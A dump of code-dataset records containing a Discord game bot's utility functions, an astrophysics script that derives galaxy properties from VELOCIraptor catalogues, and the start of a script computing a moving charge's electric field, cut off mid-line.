character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_dex(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_str(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_str(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value))),\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)], timeout=val.MEDIUM)\n else:\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE,\n content=st.REQ_OKAY + st.ADDSOUL_PREVIEW.format(\n character_json[st.FLD_NAME],\n ws_level(character_json[st.FLD_SOUL]),\n ws_level(character_json[st.FLD_SOUL] + soul_value),\n character_json[st.FLD_SOUL],\n character_json[st.FLD_SOUL] + soul_value,\n ws_next_level(character_json[st.FLD_SOUL] + soul_value),\n str(int(character_json[st.FLD_VIT])\n + 5 * (ws_level(character_json[st.FLD_SOUL]) - 1)),\n str(int(character_json[st.FLD_VIT])\n + 5 * (ws_level(character_json[st.FLD_SOUL] + soul_value)\n - 1)),\n ws_character_levelup_int(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_int(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_dex(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_dex(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value)),\n ws_character_levelup_str(\n character_json, ws_level(character_json[st.FLD_SOUL])),\n ws_character_levelup_str(\n character_json,\n ws_level(character_json[st.FLD_SOUL] + soul_value))),\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)], timeout=val.MEDIUM)\n return tm\n\n\ndef ws_character_levelup_int(json, levels):\n return int(json[st.FLD_INT]) + 3 * (levels - 1) if st.FLD_INT.lower() != json[st.FLD_PRIMARY].lower() \\\n else int(json[st.FLD_INT]) + 4 * (levels - 1)\n\n\ndef ws_character_levelup_dex(json, levels):\n return int(json[st.FLD_DEX]) + 3 * (levels - 1) if st.FLD_DEX.lower() != json[st.FLD_PRIMARY].lower() \\\n else int(json[st.FLD_DEX]) + 4 * (levels - 1)\n\n\ndef ws_character_levelup_str(json, levels):\n\n return int(json[st.FLD_STR]) + 3 * (levels - 1) if st.FLD_STR.lower() != json[st.FLD_PRIMARY].lower() \\\n else int(json[st.FLD_STR]) + 4 * (levels - 1)\n\n\nasync def get_items(ctx):\n \"\"\"Function designed to get all items and print them in a TidyMessage.\"\"\"\n # Define the path.\n items_dir = \"model\\\\\" \\\n + st.ITEMS_FN\n\n # Load in file.\n i_names, i_json = os.listdir(items_dir), {}\n for i in i_names:\n with open(items_dir + \"\\\\\" + i, \"r\") as fout:\n i_json[i] = json.load(fout)\n\n # Prepare fields.\n all_names, names, votes = \"Here are all the items I have in my inventory! \\n\\n\", list(), list()\n\n for key in i_names:\n names.append(\"~ **\" + i_json[key][st.F_TITLE] + '**\\n' +\n \"> Votes: \" + str(len(i_json[key][st.F_VOTERS])) + '\\n')\n votes.append(len(i_json[key][st.F_VOTERS]))\n\n # Sort names by vote.\n for _ in range(len(names)):\n for i in range(len(names)):\n if i != 0 and votes[i] > votes[i - 1]:\n bubble = votes[i]\n votes[i] = votes[i - 1]\n votes[i - 1] = bubble\n\n bubble = names[i]\n names[i] = names[i - 1]\n names[i - 1] = bubble\n\n # Concatenate all names.\n for i in range(len(names)):\n all_names += names[i]\n\n # Print in a tidy message.\n await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=all_names, mode=TidyMode.STANDARD)\n\n\nasync def get_item(ctx, item):\n \"\"\"Function designed to get an item and print it in a TidyMessage.\"\"\"\n if not used_title(item):\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_ITEM_NONEXIST, mode=TidyMode.WARNING)\n\n await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.item_entry(ctx, get_item_json(item)), mode=TidyMode.STANDARD)\n\n\nasync def edit_item(ctx, item):\n \"\"\"Function to edit an existing item.\"\"\"\n # Make sure the item exists.\n if not used_title(item):\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_ITEM_NONEXIST, mode=TidyMode.WARNING)\n\n # Check to make sure the editor is the creator\n if ctx.message.author.id != get_item_json(item)[st.F_OWNER]:\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_NOT_YOURS, mode=TidyMode.WARNING)\n\n # Check to make sure they're okay losing votes.\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, content=st.ASK_VOTELOSS_ACCEPTABLE,\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)], mode=TidyMode.STANDARD)\n if comm_ended(tm, ctx):\n return\n if tm.prompt.content.lower() in alias.DENY:\n return await tm.rebuild(ctx, st.INF_EXIT_EDIT, req=False, mode=TidyMode.STANDARD)\n\n # Define the path.\n items_dir = \"model\\\\\" \\\n + st.ITEMS_FN\n\n # Record number of files in items before making a new one.\n i_names = os.listdir(items_dir)\n\n # Make the new item entry.\n await add_item(ctx, item)\n\n # If more files now, that means the old file wasn't overwritten, so delete it.\n if len(os.listdir(items_dir)) > len(i_names):\n os.remove(items_dir + \"\\\\\" + item + \".json\")\n\n\nasync def delete_item(ctx, item):\n \"\"\"Function to delete an existing item.\"\"\"\n # Make sure the item exists.\n if not used_title(item):\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_ITEM_NONEXIST, mode=TidyMode.WARNING)\n\n # Check to make sure the editor is the creator\n if ctx.message.author.id != get_item_json(item)[st.F_OWNER]:\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_NOT_YOURS, mode=TidyMode.WARNING)\n\n # Check to make sure they're sure about deleting this.\n unchecked, conf, prompt = True, None, ctx.message\n\n tm = await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, content=st.ASK_DELETE_ACCEPTABLE,\n checks=[check_alias_f(alias.CONFIRM_ALIASES),\n check_args_f(st.MODE_EQ, 1)], mode=TidyMode.STANDARD)\n if comm_ended(tm, ctx):\n return\n if conf.content.lower() in alias.DENY:\n return await TidyMessage.build(ctx, st.INF_EXIT_DELETE, mode=TidyMode.STANDARD)\n\n # Delete item entry.\n item_file = \"model\\\\\" \\\n + st.ITEMS_FN + \"\\\\\" \\\n + item[st.F_TITLE].lower() + \".json\"\n os.remove(item_file)\n\n # Jankily force some time where Skully laments.\n tm = await tm.rebuild(\"...\", req=False)\n await tm.rebuild(st.INF_ITEM_DELETED, req=False)\n\n\nasync def vote_item(ctx, item):\n \"\"\"A function to increase the vote count on an item.\"\"\"\n # Check and get item data.\n if not used_title(item):\n return await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_ITEM_NONEXIST, mode=TidyMode.STANDARD)\n\n i_json = get_item_json(item)\n if ctx.message.author.name not in i_json[st.F_VOTERS]:\n # If they haven't voted yet, let them vote.\n i_json[st.F_VOTERS].append(ctx.message.author.name)\n store_item(i_json)\n\n await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.INF_VOTED.format(i_json[st.F_TITLE]), mode=TidyMode.STANDARD)\n else:\n await TidyMessage.build(ctx, st.ESCAPE_SEQUENCE, req=False,\n content=st.ERR_ALREADY_VOTED, mode=TidyMode.WARNING)\n\n\n# Checks\n\n\ndef check_unique(being_edited):\n def check(*args):\n return True if not used_title(\" \".join(args)) or \\\n used_title(\" \".join(args)) is being_edited + \".json\" else st.ERR_NONUNIQUE\n return check\n\n\ndef check_alias_f(aliases, no_dups=False):\n \"\"\"A check-factory that makes a check that looks to see if there's\n any of a set of characters inside of an alias [dictionary of values].\"\"\"\n def check(*args):\n # Prepare a list to measure variables already used and another to count checks.\n used, c_list, matched = list(), list(), False\n\n # Check each alias against each argument.\n for a in args:\n for name in aliases:\n for al in aliases[name]:\n matched = al.lower() == a.lower()\n if matched and name in used and no_dups:\n return st.ERR_REPEAT_VAL.format(a)\n elif matched:\n used.append(name)\n break\n if matched:\n break\n if not matched:\n return st.ERR_NOT_IN_ALIAS.format(a)\n return True\n return check\n\n\ndef check_args_f(op, num):\n \"\"\"A check-factory that makes a check that looks at the number of args relative to an operator.\n len(args) num :: Plain English: the number of args should be 'num' otherwise throw an error.\"\"\"\n if op == st.MODE_GT:\n def check(*args):\n return True if len(args) > num else st.ERR_TOO_FEW_ARGS.format(\"more than\", str(num))\n elif op == st.MODE_GTE:\n def check(*args):\n return True if len(args) >= num else st.ERR_TOO_FEW_ARGS.format(str(num), \"or more\")\n elif op == st.MODE_LT:\n def check(*args):\n return True if len(args) < num else st.ERR_TOO_MANY_ARGS.format(\"less than\", str(num))\n elif op == st.MODE_LTE:\n def check(*args):\n return True if len(args) <= num else st.ERR_TOO_MANY_ARGS.format(str(num), \"or less\")\n elif op == st.MODE_EQ:\n def check(*args):\n return True if len(args) == num else st.ERR_INEXACT_ARGS.format(str(num))\n else: # I hate myself, so fail silently and just not check the args for not inputting things properly.\n def check(*args):\n return True\n return check\n\n\ndef check_int(*args):\n \"\"\"Check that tells you if every argument is an integer.\"\"\"\n for a in args:\n if not is_int(a):\n return st.ERR_NOT_INT\n return True\n\n\n# Utility #\n\n\ndef get_item_json(item):\n \"\"\"Helper method to get item data. Expects .json extension.\"\"\"\n # Define the path.\n item_file = \"model\\\\\" \\\n + st.ITEMS_FN + \"\\\\\" \\\n + item + \".json\"\n\n # Load in file.\n with open(item_file, \"r\") as fout:\n i_json = json.load(fout)\n\n return i_json\n\n\ndef store_item(item):\n \"\"\"Helper method to store item data.\"\"\"\n # Add item entry.\n item_file = \"model\\\\\" \\\n + st.ITEMS_FN + \"\\\\\" \\\n + item[st.F_TITLE].lower() + \".json\"\n\n with open(item_file, \"w\") as fout:\n json.dump(item, fout, indent=1)\n\n\ndef return_member(ctx, mention=\"\", user_id=\"\"):\n \"\"\"Returns the user by mention or None, if none found. If an ID is provided, returns based off of that instead.\"\"\"\n\n # # If ID provided, return what the bot would return. # #\n\n if user_id:\n return val.bot.get_user(user_id)\n\n # # If no ID provided, return based on mention. # #\n\n # Link members to their mentions.\n members = {}\n for mem in ctx.guild.members:\n members[mem.mention] = mem\n\n return members.get(mention)\n\n\ndef used_title(item):\n \"\"\"Checks the items folder to see if an item exists. If it does, returns the item name.\"\"\"\n # Make sure the item name is properly formatted.\n items_dir = \"model\\\\\" \\\n + st.ITEMS_FN\n\n # Load in file.\n print(os.path.exists(items_dir))\n if not os.path.exists(items_dir):\n try:\n print(\"Making Directory...\")\n os.makedirs(items_dir)\n except OSError as exc: # Guard against race condition\n if exc.errno != errno.EEXIST:\n raise\n i_names = os.listdir(items_dir)\n for i in i_names:\n if i.lower() == (item + \".json\").lower():\n return i\n return False\n\n\ndef get_app_token():\n with open('token.txt', 'r') as token:\n token = token.read()\n return token\n\n\ndef comm_ended(tm, ctx):\n return tm.message.embeds[0].description == st.TIMEOUT or tm.prompt.content == st.ESCAPE_SEQUENCE\n\n\ndef is_int(num):\n \"\"\"Tool to tell me if something is an int or not without crashing.\"\"\"\n try:\n int(num)\n return True\n except ValueError:\n return False\n","sub_path":"model/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":29897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"117384440","text":"\"\"\"\nRegistration of extra quantities for velociraptor catalogues (i.e. quantities\nderived from the catalogue's internal properties).\nThis file calculates:\n + sSFR (30, 100 kpc) (specific_sfr_gas_{x}_kpc)\n This is the specific star formation rate of gas within those apertures.\n Only calculated for galaxies with a stellar mass greater than zero.\n + is_passive and is_active (30, 100 kpc) (is_passive_{x}_kpc)\n Boolean that determines whether or not a galaxy is passive. Marginal\n specific star formation rate is 1e-11 year^-1.\n + sfr_halo_mass (30, 100 kpc) (sfr_halo_mass_{x}_kpc)\n Star formation rate divided by halo mass with the star formation rate\n computed within apertures.\n + 12 + log(O/H) ({gas_sf_twelve_plus_log_OH_{x}_kpc, 30, 100 kpc)\n 12 + log(O/H) based on metallicities. These should be removed at some point\n once velociraptor has a more sensible way of dealing with metallicity\n units.\n + metallicity_in_solar (star_metallicity_in_solar_{x}_kpc, 30, 100 kpc)\n Metallicity in solar units (relative to metal_mass_fraction).\n + stellar_mass_to_halo_mass_{x}_kpc for 30 and 100 kpc\n Stellar Mass / Halo Mass (mass_200crit and mass_BN98) for 30 and 100 kpc apertures.\n + HI and H_2 masses (gas_HI_mass_Msun and gas_H2_mass_Msun).\n + baryon and gas fractions in R_(200,cr) normalized by the\n cosmic baryon fraction (baryon_fraction_true_R200, gas_fraction_true_R200).\n\"\"\"\n\n# Aperture sizes in kpc in which stellar mass is computed\naperture_sizes = [30, 100]\n\n# Specific star formation rate in apertures, as well as passive fraction\nmarginal_ssfr = unyt.unyt_quantity(1e-11, units=1 / unyt.year)\n\nfor aperture_size in aperture_sizes:\n halo_mass = catalogue.masses.mass_200crit\n\n stellar_mass = getattr(catalogue.apertures, f\"mass_star_{aperture_size}_kpc\")\n # Need to mask out zeros, otherwise we get RuntimeWarnings\n good_stellar_mass = stellar_mass > unyt.unyt_quantity(0.0, stellar_mass.units)\n\n star_formation_rate = getattr(catalogue.apertures, f\"sfr_gas_{aperture_size}_kpc\")\n\n ssfr = np.ones(len(star_formation_rate)) * marginal_ssfr\n ssfr[good_stellar_mass] = (\n star_formation_rate[good_stellar_mass] / stellar_mass[good_stellar_mass]\n )\n ssfr[ssfr < marginal_ssfr] = marginal_ssfr\n ssfr.name = f\"Specific SFR ({aperture_size} kpc)\"\n\n is_passive = unyt.unyt_array(\n (ssfr < 1.01 * marginal_ssfr).astype(float), units=\"dimensionless\"\n )\n is_passive.name = \"Passive Fraction\"\n\n is_active = unyt.unyt_array(\n (ssfr > 1.01 * marginal_ssfr).astype(float), units=\"dimensionless\"\n )\n is_active.name = \"Active Fraction\"\n\n sfr_M200 = star_formation_rate / halo_mass\n sfr_M200.name = \"Star formation rate divided by halo mass\"\n\n setattr(self, f\"specific_sfr_gas_{aperture_size}_kpc\", ssfr)\n setattr(self, f\"is_passive_{aperture_size}_kpc\", is_passive)\n setattr(self, f\"is_active_{aperture_size}_kpc\", is_active)\n setattr(self, f\"sfr_halo_mass_{aperture_size}_kpc\", sfr_M200)\n\n# Now metallicities relative to different units\n\nsolar_metal_mass_fraction = 0.0126\ntwelve_plus_log_OH_solar = 8.69\nminimal_twelve_plus_log_OH = 7.5\n\nfor aperture_size in aperture_sizes:\n try:\n metal_mass_fraction_star = (\n getattr(catalogue.apertures, f\"zmet_star_{aperture_size}_kpc\")\n / solar_metal_mass_fraction\n )\n metal_mass_fraction_star.name = f\"Star Metallicity $Z_*$ rel. to $Z_\\\\odot={solar_metal_mass_fraction}$ ({aperture_size} kpc)\"\n setattr(\n self,\n f\"star_metallicity_in_solar_{aperture_size}_kpc\",\n metal_mass_fraction_star,\n )\n except AttributeError:\n pass\n\n try:\n metal_mass_fraction_gas = (\n getattr(catalogue.apertures, f\"zmet_gas_sf_{aperture_size}_kpc\")\n / solar_metal_mass_fraction\n )\n\n # Handle scenario where metallicity is zero, as we are bounded\n # by approx 1e-2 metal mass fraction anyway:\n metal_mass_fraction_gas[metal_mass_fraction_gas < 1e-5] = 1e-5\n\n log_metal_mass_fraction_gas = np.log10(metal_mass_fraction_gas.value)\n twelve_plus_log_OH = unyt.unyt_array(\n twelve_plus_log_OH_solar + log_metal_mass_fraction_gas,\n units=\"dimensionless\",\n )\n twelve_plus_log_OH.name = f\"Gas (SF) $12+\\\\log_{{10}}$O/H from $Z$ (Solar={twelve_plus_log_OH_solar}) ({aperture_size} kpc)\"\n\n twelve_plus_log_OH[\n twelve_plus_log_OH < minimal_twelve_plus_log_OH\n ] = minimal_twelve_plus_log_OH\n\n setattr(\n self, f\"gas_sf_twelve_plus_log_OH_{aperture_size}_kpc\", twelve_plus_log_OH\n )\n except AttributeError:\n pass\n\n\n# Now stellar mass - halo mass relation\n\nfor aperture_size in aperture_sizes:\n stellar_mass = getattr(catalogue.apertures, f\"mass_star_{aperture_size}_kpc\")\n halo_mass = catalogue.masses.mass_200crit\n\n halo_M200crit = catalogue.masses.mass_200crit\n smhm = stellar_mass / halo_mass\n name = f\"$M_* / M_{{\\\\rm 200crit}}$ ({aperture_size} kpc)\"\n smhm.name = name\n setattr(self, f\"stellar_mass_to_halo_mass_200crit_{aperture_size}_kpc\", smhm)\n\n halo_MBN98 = catalogue.masses.mass_bn98\n smhm = stellar_mass / halo_MBN98\n name = f\"$M_* / M_{{\\\\rm BN98}}$ ({aperture_size} kpc)\"\n smhm.name = name\n setattr(self, f\"stellar_mass_to_halo_mass_bn98_{aperture_size}_kpc\", smhm)\n\n# Now HI masses\n\ngas_mass = catalogue.masses.m_gas\nnonmetal_frac = 1.0 - catalogue.apertures.zmet_gas_sf_100_kpc\ntry:\n H_frac = getattr(catalogue.element_mass_fractions, \"element_0\")\n hydrogen_frac_error = \"\"\nexcept:\n H_frac = 0.0\n hydrogen_frac_error = \"(no H abundance)\"\n\ntry:\n # Test for CHIMES arrays\n HI_species_frac = catalogue.species_fractions.species_1\n species_frac_error = \"\"\nexcept:\n try:\n # Test for COLIBRE arrays\n HI_species_frac = catalogue.species_fractions.species_0\n species_frac_error = \"\"\n except:\n HI_species_frac = catalogue.species_fractions.species_1\n species_frac_error = \"(no species field)\"\n\ntotal_error = f\" {species_frac_error}{hydrogen_frac_error}\"\nHI_mass = gas_mass * H_frac * HI_species_frac\nHI_mass.name = f\"$M_{{\\\\rm HI}}${total_error}\"\n\nHI_mass_wHe = gas_mass * nonmetal_frac * HI_species_frac\nHI_mass_wHe.name = f\"$M_{{\\\\rm HI}}${total_error}\"\n\nsetattr(self, \"gas_HI_mass\", HI_mass)\nsetattr(self, \"gas_HI_plus_He_mass\", HI_mass_wHe)\n\n# Now H2 masses\n\ngas_mass = catalogue.masses.m_gas\nnonmetal_frac = 1.0 - catalogue.apertures.zmet_gas_sf_100_kpc\ntry:\n H_frac = getattr(catalogue.element_mass_fractions, \"element_0\")\n hydrogen_frac_error = \"\"\nexcept:\n H_frac = 0.0\n hydrogen_frac_error = \"(no H abundance)\"\n\ntry:\n # Test for CHIMES arrays\n H2_species_frac = catalogue.species_fractions.species_7\n species_frac_error = \"\"\nexcept:\n try:\n # Test for COLIBRE arrays\n H2_species_frac = catalogue.species_fractions.species_0\n species_frac_error = \"\"\n except:\n H2_species_frac = catalogue.species_fractions.species_2\n species_frac_error = \"(no species field)\"\n\ntotal_error = f\" {species_frac_error}{hydrogen_frac_error}\"\nH2_mass = (\n gas_mass * H_frac * H2_species_frac * 2\n) # Factor of 2 to convert H2 species fraction to mass fraction\nH2_mass_wHe = (\n gas_mass * nonmetal_frac * H2_species_frac * 2\n) # Factor of 2 to convert H2 species fraction to mass fraction\n\nH2_mass.name = f\"$M_{{\\\\rm H_2}}{total_error}$\"\nH2_mass_wHe.name = f\"$M_{{\\\\rm H_2}}{total_error}$\"\n\nsetattr(self, \"gas_H2_mass\", H2_mass)\nsetattr(self, \"gas_H2_plus_He_mass\", H2_mass_wHe)\n\n# Now neutral H masses and fractions\n\ntry:\n gas_mass = catalogue.masses.m_gas\n H_frac = getattr(catalogue.element_mass_fractions, \"element_0\")\n\n # Try CHIMES arrays\n if hasattr(catalogue.species_fractions, \"species_7\"):\n HI_species_frac = getattr(catalogue.species_fractions, \"species_1\")\n H2_species_frac = getattr(catalogue.species_fractions, \"species_7\")\n # If species_7 doesn't exist, switch to the (default) Table-cooling case\n else:\n HI_species_frac = getattr(catalogue.species_fractions, \"species_0\")\n H2_species_frac = getattr(catalogue.species_fractions, \"species_2\")\n\n HI_mass = gas_mass * H_frac * HI_species_frac\n H2_mass = gas_mass * H_frac * H2_species_frac * 2\n neutral_H_mass = HI_mass + H2_mass\n neutral_H_mass.name = \"$M_{\\\\rm HI + H_2}$\"\n\n setattr(self, \"gas_neutral_H_mass\", neutral_H_mass)\n\n for aperture_size in aperture_sizes:\n stellar_mass = getattr(catalogue.apertures, f\"mass_star_{aperture_size}_kpc\")\n neutral_H_to_stellar_fraction = neutral_H_mass / stellar_mass\n neutral_H_to_stellar_fraction.name = (\n f\"$M_{{\\\\rm HI + H_2}} / M_*$ ({aperture_size} kpc)\"\n )\n\n molecular_H_to_molecular_plus_stellar_fraction = H2_mass / (\n H2_mass + stellar_mass\n )\n molecular_H_to_molecular_plus_stellar_fraction.name = (\n f\"$M_{{\\\\rm H_2}} / (M_* + M_{{\\\\rm H_2}})$ ({aperture_size} kpc)\"\n )\n\n molecular_H_to_neutral_fraction = H2_mass / neutral_H_mass\n molecular_H_to_neutral_fraction.name = (\n f\"$M_{{\\\\rm H_2}} / M_{{\\\\rm HI + H_2}}$ ({aperture_size} kpc)\"\n )\n\n setattr(\n self,\n f\"gas_neutral_H_to_stellar_fraction_{aperture_size}_kpc\",\n neutral_H_to_stellar_fraction,\n )\n setattr(\n self,\n f\"gas_molecular_H_to_molecular_plus_stellar_fraction_{aperture_size}_kpc\",\n molecular_H_to_molecular_plus_stellar_fraction,\n )\n setattr(\n self,\n f\"gas_molecular_H_to_neutral_fraction_{aperture_size}_kpc\",\n molecular_H_to_neutral_fraction,\n )\n\nexcept AttributeError:\n # We did not produce these quantities.\n setattr(\n self,\n \"gas_neutral_H_mass\",\n unyt.unyt_array(\n catalogue.masses.m_gas,\n name=\"$M_{\\\\rm HI + H_2}$ not found, showing $M_{\\\\rm g}$\",\n ),\n )\n # We did not produce these fractions, let's make an arrays of ones.\n ones = unyt.unyt_array(\n np.ones(np.size(catalogue.masses.mass_200crit)), \"dimensionless\"\n )\n for aperture_size in aperture_sizes:\n setattr(\n self,\n f\"gas_neutral_H_to_stellar_fraction_{aperture_size}_kpc\",\n unyt.unyt_array(\n np.ones_like(catalogue.masses.m_gas),\n name=\"$M_{{\\\\rm HI + H_2}} / M_*$ ({aperture_size} kpc) not found, showing $1$\",\n units=\"dimensionless\",\n ),\n )\n setattr(\n self,\n f\"gas_molecular_H_to_molecular_plus_stellar_fraction_{aperture_size}_kpc\",\n unyt.unyt_array(\n np.ones_like(catalogue.masses.m_gas),\n name=f\"$M_{{\\\\rm H_2}} / (M_* + M_{{\\\\rm H_2}})$ ({aperture_size} kpc) not found, showing $1$\",\n units=\"dimensionless\",\n ),\n )\n setattr(\n self,\n f\"gas_molecular_H_to_neutral_fraction_{aperture_size}_kpc\",\n unyt.unyt_array(\n np.ones_like(catalogue.masses.m_gas),\n name=f\"$M_{{\\\\rm H_2}} / M_{{\\\\rm HI + H_2}}$ ({aperture_size} kpc) not found, showing $1$\",\n units=\"dimensionless\",\n ),\n )\n\n# species fraction properties\ngas_mass = catalogue.apertures.mass_gas_100_kpc\ngal_area = (\n 2 * np.pi * catalogue.projected_apertures.projected_1_rhalfmass_star_100_kpc ** 2\n)\nmstar_100 = catalogue.projected_apertures.projected_1_mass_star_100_kpc\n\n# Selection functions for the xGASS and xCOLDGASS surveys, used for the H species fraction comparison.\n# Note these are identical mass selections, but are separated to keep survey selections explicit\n# and to allow more detailed selection criteria to be added for each.\n\nself.xgass_galaxy_selection = np.logical_and(\n catalogue.apertures.mass_star_100_kpc > unyt.unyt_quantity(10 ** 9, \"Solar_Mass\"),\n catalogue.apertures.mass_star_100_kpc\n < unyt.unyt_quantity(10 ** (11.5), \"Solar_Mass\"),\n)\n\nself.xcoldgass_galaxy_selection = np.logical_and(\n catalogue.apertures.mass_star_100_kpc > unyt.unyt_quantity(10 ** 9, \"Solar_Mass\"),\n catalogue.apertures.mass_star_100_kpc\n < unyt.unyt_quantity(10 ** (11.5), \"Solar_Mass\"),\n)\n\nself.mu_star_100_kpc = mstar_100 / gal_area\nself.mu_star_100_kpc.name = \"$\\\\pi R_{*, 100 {\\\\rm kpc}}^2 / M_{*, 100 {\\\\rm kpc}}$\"\n\ntry:\n H_frac = catalogue.element_mass_fractions.element_0\n hydrogen_frac_error = \"\"\nexcept:\n H_frac = 0.0\n hydrogen_frac_error = \"(no H abundance)\"\n\ntry:\n # Test for CHIMES arrays\n species_HI = catalogue.species_fractions.species_1\n species_H2 = 2.0 * catalogue.species_fractions.species_7\n species_frac_error = \"\"\nexcept:\n try:\n # Test for COLIBRE arrays\n species_HI = catalogue.species_fractions.species_0\n species_H2 = 2.0 * catalogue.species_fractions.species_2\n species_frac_error = \"\"\n except:\n species_HI = 0.0\n species_H2 = 0.0\n species_frac_error = \"(no species field)\"\n\ntotal_error = f\" {species_frac_error}{hydrogen_frac_error}\"\n\nself.neutral_hydrogen_mass_100_kpc = gas_mass * H_frac * species_HI\nself.hi_to_stellar_mass_100_kpc = (\n self.neutral_hydrogen_mass_100_kpc / catalogue.apertures.mass_star_100_kpc\n)\nself.molecular_hydrogen_mass_100_kpc = gas_mass * H_frac * species_H2\nself.h2_to_stellar_mass_100_kpc = (\n self.molecular_hydrogen_mass_100_kpc / catalogue.apertures.mass_star_100_kpc\n)\n\nself.neutral_hydrogen_mass_100_kpc.name = f\"HI Mass (100 kpc){total_error}\"\nself.hi_to_stellar_mass_100_kpc.name = f\"$M_{{\\\\rm HI}} / M_*$ (100 kpc) {total_error}\"\nself.molecular_hydrogen_mass_100_kpc.name = f\"H$_2$ Mass (100 kpc){total_error}\"\nself.h2_to_stellar_mass_100_kpc.name = f\"$M_{{\\\\rm H_2}} / M_*$ (100 kpc) {total_error}\"\n\n# Now baryon fractions\n\ntry:\n Omega_m = catalogue.units.cosmology.Om0\n Omega_b = catalogue.units.cosmology.Ob0\n\n M_500 = catalogue.spherical_overdensities.mass_500_rhocrit\n M_500_gas = catalogue.spherical_overdensities.mass_gas_500_rhocrit\n M_500_star = catalogue.spherical_overdensities.mass_star_500_rhocrit\n M_500_baryon = M_500_gas + M_500_star\n\n f_b_500 = (M_500_baryon / M_500) / (Omega_b / Omega_m)\n name = \"$f_{\\\\rm b, 500, true} / (\\\\Omega_{\\\\rm b} / \\\\Omega_{\\\\rm m})$\"\n f_b_500.name = name\n\n f_gas_500 = (M_500_gas / M_500) / (Omega_b / Omega_m)\n name = \"$f_{\\\\rm gas, 500, true} / (\\\\Omega_{\\\\rm b} / \\\\Omega_{\\\\rm m})$\"\n f_gas_500.name = name\n\n setattr(self, \"baryon_fraction_true_R500\", f_b_500)\n setattr(self, \"gas_fraction_true_R500\", f_gas_500)\nexcept AttributeError:\n # We did not produce these quantities, let's make an array of ones.\n ones = unyt.unyt_array(\n np.ones(np.size(catalogue.masses.mass_200crit)), \"dimensionless\"\n )\n setattr(\n self,\n \"baryon_fraction_true_R500\",\n unyt.unyt_array(\n ones,\n name=\"$f_{\\\\rm b, 500, true} / (\\\\Omega_{\\\\rm b} / \\\\Omega_{\\\\rm m})$ not found, showing $1$\",\n ),\n )\n setattr(\n self,\n \"gas_fraction_true_R500\",\n unyt.unyt_array(\n ones,\n name=\"$f_{\\\\rm gas, 500, true} / (\\\\Omega_{\\\\rm b} / \\\\Omega_{\\\\rm m})$ not found, showing $1$\",\n ),\n )\n","sub_path":"eagle-xl/registration.py","file_name":"registration.py","file_ext":"py","file_size_in_byte":15488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"594782579","text":"from itertools import count\nfrom time import time\n\nimport numpy as np\nfrom matplotlib.animation import FuncAnimation\nfrom scipy.misc import derivative\nfrom scipy.optimize import root_scalar\n\nimport matplotlib.pyplot as plt\n\n\ndef get_retarded_time_secant(x,\n z,\n q_x_func,\n q_z_func,\n t,\n C):\n print(\"computing retarded time\")\n\n def func(t_r):\n return np.sqrt((x - q_x_func(t_r)) ** 2 + (z - q_z_func(t_r)) ** 2) - C * (t - t_r)\n\n res_n_m_2 = np.full_like(x, t)\n res_n_m_1 = res_n_m_2 + 1\n\n sol = np.full_like(x, np.nan)\n for i in range(30):\n remaining = np.count_nonzero(np.isnan(sol))\n print(f\" iteration {i}, remaining: {remaining}\")\n if not remaining:\n break\n f_n_m_1 = func(res_n_m_1)\n denominator = f_n_m_1 - func(res_n_m_2)\n indices = np.where(np.isclose(denominator, 0))\n sol[indices] = res_n_m_1[indices]\n res_n_m_2, res_n_m_1 = res_n_m_1, res_n_m_1 - f_n_m_1 * (res_n_m_1 - res_n_m_2) / denominator\n\n # indices = np.where(np.logical_not(np.isnan(res_n_m_1)))\n # sol[indices] = res_n_m_1[indices]\n\n return sol\n\n\n@np.vectorize\ndef get_retarded_time(x,\n z,\n q_x_func,\n q_z_func,\n t,\n C):\n def func(t_r):\n return np.sqrt((x - q_x_func(t_r)) ** 2 + (z - q_z_func(t_r)) ** 2) - C * (t - t_r)\n\n result = root_scalar(func, x0=0, x1=1)\n\n return result.root\n\n\ndef E_at_point(x,\n z,\n t,\n q_x_func=None,\n q_z_func=None,\n C=0,\n EPS_0=0,\n Q=0):\n \"\"\"\n Počítá komponenty X a Z pole pohybujícího se náboje v bodě [x, z]\n Parameters\n ----------\n x : float\n Pole hodnot X mřížky\n z : float\n Pole hodnot Y mřížky\n t : float\n Čas\n q_x_func : callable\n Funkce souřadnice X bodového náboje v čase\n q_z_func : callable\n Funkce souřadnice Z bodového náboje v čase\n C : float\n Rychlost světla\n EPS_0 : float\n Permitivita vakua\n Q : float\n Velikost náboje\n\n Returns\n -------\n E_x : float\n Xová složka E\n E_z : float\n Zová složka E\n \"\"\"\n if not q_x_func:\n q_x_func = lambda t: 0\n if not q_z_func:\n q_z_func = lambda t: 0\n if not C:\n C = 2\n if not EPS_0:\n EPS_0 = 